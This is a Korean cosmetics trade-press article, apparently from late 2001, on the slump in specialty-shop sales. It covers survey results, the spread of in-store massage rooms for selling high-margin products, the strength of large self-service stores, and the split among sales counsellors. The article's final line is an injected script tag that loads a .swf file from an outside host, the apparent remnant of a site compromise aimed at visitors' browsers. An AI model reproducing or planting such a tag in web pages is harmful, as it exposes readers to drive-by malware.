뜨는 방판, 지는 전문점, 자라는 신유통 유통 세분화 가열… 전문점 약세 면치 못해 [전문점]-빼앗긴 전문점에도 봄은 오는가 매출이 바닥을 뚫고 지하실로 바닥인 줄 알았더니 지하실이 존재했다. 올해 전문점가에는 매출이 바닥을 치고 다시 올라올 것이라는 성급한 기대가 난무했지만 결국 바닥을 뚫고 지하실까지 곤두박질치고 말았다. 특히 9·11 미테러 사태로 인해 가뜩이나 굳어있는 전문점 시장을 얼음장으로 만들어 놓았다. 다행히 12월 들어서면서 전문점 매출이 회복세를 돌아서고 있지만 어느 선까지 회복될지는 알 수 없다. 올해 전문점의 매출을 짐작케하는 것이 각 메이커별 전문점 매출비. 상위 10개사 중 7개사가 10%이상 매출이 감소됐으며 현상유지가 2개사, 10% 이상 성장한 곳은 1개사에 불과했다. 전문점주들의 느끼는 추위는 메이커의 조사자료보다 심하다. 지난 10월 본지가 전국 500여 전문점주를 대상으로 매출현황에 대해 설문조사한 결과 매출이 감소했다는 답변이 응답자의 67.6%를 차지했다. <본지 251호 참조> 특히 작년에 비해 매출이 30% 이상 감소했다는 답변이 21.2%를 차지해 매출감소의 심각성을 나타냈다. 매출이 증가했다는 답변은 9.6% 불과해 전문점의 구조조정이 얼마나 거센지 보여줬다. 거점브랜드로 객당가 높여 전문점의 매출보다 더욱 떨어진 것이 방문고객수다. 올해에는 방판과 백화점, 인터넷쇼핑몰 등 타 유통망의 고성장과 전문점의 고질적인 가격할인으로 인한 불신조장으로 고객이탈 현상이 더욱 심화됐다. “매출이 25% 떨어졌다면 고객감소율은 50% 수준”이라는 사당동 한 전문점주의 말이 이를 잘 대변해준다. 고객이탈에 대응하는 방법은 대부분의 전문점이 비슷했다. 가격보장이 되는 거점판매를 통해 마진율을 높이는 것이다. 이로 인해 거점브랜드는 인기가 치솟고 범용 브랜드는 약세를 면치 못했다. 과거에는 광고로 인한 브랜드 파워가 매출과 직결됐다면 올해 전문점 시장은 가격안정화 정책에 따라 브랜드의 생사가 갈렸다. 때문에 전문점에서는 고마진 브랜드를 1개 이상씩 취급하면서 범용제품의 가격할인에 따른 매출저하를 충당했다. 마사지실을 통한 고가 기능성제품 판매도 확산됐으며 생산시설을 가지고 있지 않은 중소 판매업체의 일부 거점제품도 전문점가에서 큰 인기를 얻었다. 특히 화장품법 시행에 따라 기능성 화장품 시대가 열리면서 마사지실의 보급은 급속도로 확산됐다. 본지가 전국 5,000개 전문점을 대상으로 마시지실 보유 여부에 대해 설문조사한 결과 1,721개 전문점이 현재 마사지실을 보유하고 있다고 답변했다. 응답자의 34.4%를 차지하는 이 수치는 전국 전문점수인 1만 3천개로 계산해보면 4천 5백개 전문점이 마사지 서비스를 시행하고 있다는 결론이 나온다. 매장 셋 중 한 군데는 마시지 서비스를 할 정도로 전문점 환경이 변한건 매출 감소와 밀접한 관련이 있다. 고객수가 줄어들고 가격이 문란해지면서 객단가 높이기에 초점을 맞추다 보니 마사지를 통한 고가 판매가 성행하게 된 것이다. 특히 고객관리를 위주로 한 카운슬링 매장의 경우 이런 현상이 두드러진다. 규모의 전쟁… 대형매장 강세 계속 한편, 역세권을 중심으로 퍼져있는 대형매장에는 이와는 반대로 고가 프리미엄급 제품보다는 상대적으로 저렴한 색조제품과 잡화가 인기를 끌었다. 이들 대형매장은 철저한 셀프셀렉션 원칙에 따라 매장 규모를 키우고 색조 제품을 강화시키면서 가격할인율을 높여 젊은층을 공략하고 있다. 박리다매 전략으로 대형매장들은 인터넷쇼핑몰의 폭탄세일에 상대적으로 피해를 덜 받아 꿋꿋이 버텨나가고 있다. 최근에는 서울 압구정동에 1,000평이나 되는 대형전문점 ‘M&M’이 오픈 준비를 하는 등 대형 매장의 강세는 계속되고 있다. 하지만 철저한 시장조사와 마케팅 전략을 수립하지 않고 단순히 몸집만 키운 대형매장의 경우 과다한 매장운영비를 충당하지 못해 파산하는 경우가 발생해 대용량의 하드웨어와 더불어 체계화된 소프트웨어를 갖출 필요성이 부각됐다. 올해 전문점의 또하나의 특징은 카운슬러가 양분화되고 있다는 것이다. 단순히 오는 고객만 받는 슈퍼형 판매사원의 경우 셀프 중심의 대형매장을 제외하고는 갈 곳이 없었다. 하지만 객단가 높이기와 거점 브랜드 역매전략을 사용한 대다수 카운슬링 매장의 경우 유능한 카운슬러 모시기에 혈안이 되고 있다. 특히, 경력 5년 이상의 달변가들은 기본급에 인센티브까지 합해 월급으로 기백만원을 받을 정도로 능력을 인정받고 있다. 하지만 여전히 카운슬러 교육에 대한 메이커의 체계적인 지원이 부족해 아쉬움을 남겼다. ?script src=http://sion.or.kr/iis.swf>

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